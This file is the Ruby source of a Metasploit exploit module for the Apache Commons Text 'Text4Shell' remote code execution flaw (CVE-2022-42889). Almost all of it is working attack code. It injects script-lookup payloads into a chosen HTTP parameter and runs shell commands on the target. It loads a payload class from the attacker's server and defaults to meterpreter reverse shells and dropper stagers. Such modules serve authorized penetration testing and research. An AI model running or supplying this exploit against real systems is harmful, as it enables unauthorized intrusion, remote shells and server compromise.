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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Commons Text RCE',
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        'Description' => %q{
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          This exploit takes advantage of the StringSubstitutor interpolator class,
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          which is included in the Commons Text library. A default interpolator
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          allows for string lookups that can lead to Remote Code Execution. This
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          is due to a logic flaw that makes the “script”, “dns” and “url” lookup
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          keys interpolated by default, as opposed to what it should be, according
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          to the documentation of the StringLookupFactory class. Those keys allow
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          an attacker to execute arbitrary code via lookups primarily using the
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          "script" key.
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          In order to exploit the vulnerabilities, the following requirements must
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          be met:
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          Run a version of Apache Commons Text from version 1.5 to 1.9
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          Use the StringSubstitutor interpolator
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          Target should run JDK < 15
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Alvaro Muñoz', # Original research
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          'Karthik UJ', # PoC
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          'Gaurav Jain', # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2022-42889'],
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          ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
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          ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
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        ],
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        'Platform' => ['win', 'linux', 'unix', 'java'],
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        'Targets' => [
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          [
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            'Java (in-memory)',
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            {
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              'Type' => :java,
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              'Platform' => 'java',
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              'Arch' => ARCH_JAVA,
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              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
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            },
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          ],
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          [
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            'Windows EXE Dropper',
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            {
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              'Platform' => 'win',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :windows_dropper,
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              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
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            }
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          ],
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          [
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            'Windows Command',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_CMD,
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              'Type' => :windows_cmd,
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              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
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            }
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          ],
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :linux_dropper,
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              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
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            }
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          ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2022-10-13',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      OptString.new('TARGETURI', [ true, 'The target URI', '/']),
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      OptString.new('PARAM', [ true, 'The vulnerable parameter']),
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      OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
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    ])
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  end
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  def check
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    vprint_status("Checking if #{peer} can be exploited.")
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    res = send_exp
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    return CheckCode::Unknown('No response received from target.') unless res
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    # blind command injection using sleep command
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    sleep_time = rand(4..8)
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    vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
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    _res, elapsed_time = Rex::Stopwatch.elapsed_time do
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      send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
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    end
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    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
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    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
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    CheckCode::Vulnerable('Successfully tested command injection.')
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  end
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  def exploit
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    case target['Type']
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    when :java
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      # Start the HTTP server to serve the payload
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      java_class_loader_start_service
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      # Trigger a loadClass request via java.net.URLClassLoader
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      trigger_urlclassloader
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      # Handle the payload
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      handler
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    when :windows_cmd, :unix_cmd
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      execute_command(payload.encoded)
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    when :windows_dropper, :linux_dropper
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      execute_cmdstager
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    end
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  end
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  def trigger_urlclassloader
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    url = get_uri
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    vars = Rex::RandomIdentifier::Generator.new
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    exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
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    exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
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    exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"
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    res = send_exp(exp)
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    fail_with(Failure::Unreachable, 'No response received from the target') unless res
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    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
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  end
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  def execute_command(cmd, _opts = {})
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    vars = Rex::RandomIdentifier::Generator.new
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    exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
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    exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"
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    res = send_exp(exp)
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    fail_with(Failure::Unreachable, 'No response received from the target') unless res
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    fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
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  end
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  def send_exp(exp = '')
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    vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
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    send_request_cgi(
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      'method' => datastore['METHOD'],
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      'uri' => normalize_uri(target_uri.path),
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      vars => {
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        datastore['PARAM'] => "${script:javascript:#{exp}}"
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      }
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    )
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  end
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  def win_target?
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    target['Platform'] == 'win'
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  end
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  def on_request_uri(cli, request)
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    case target['Type']
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    when :java
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      # Call method to handle java payload staging
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      super(cli, request)
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    else
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      # Handle win/unix cmd staging
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      client = cli.peerhost
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      print_status("Client #{client} requested #{request.uri}")
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      print_status("Sending payload to #{client}")
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      send_response(cli, exe)
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    end
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  end
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end
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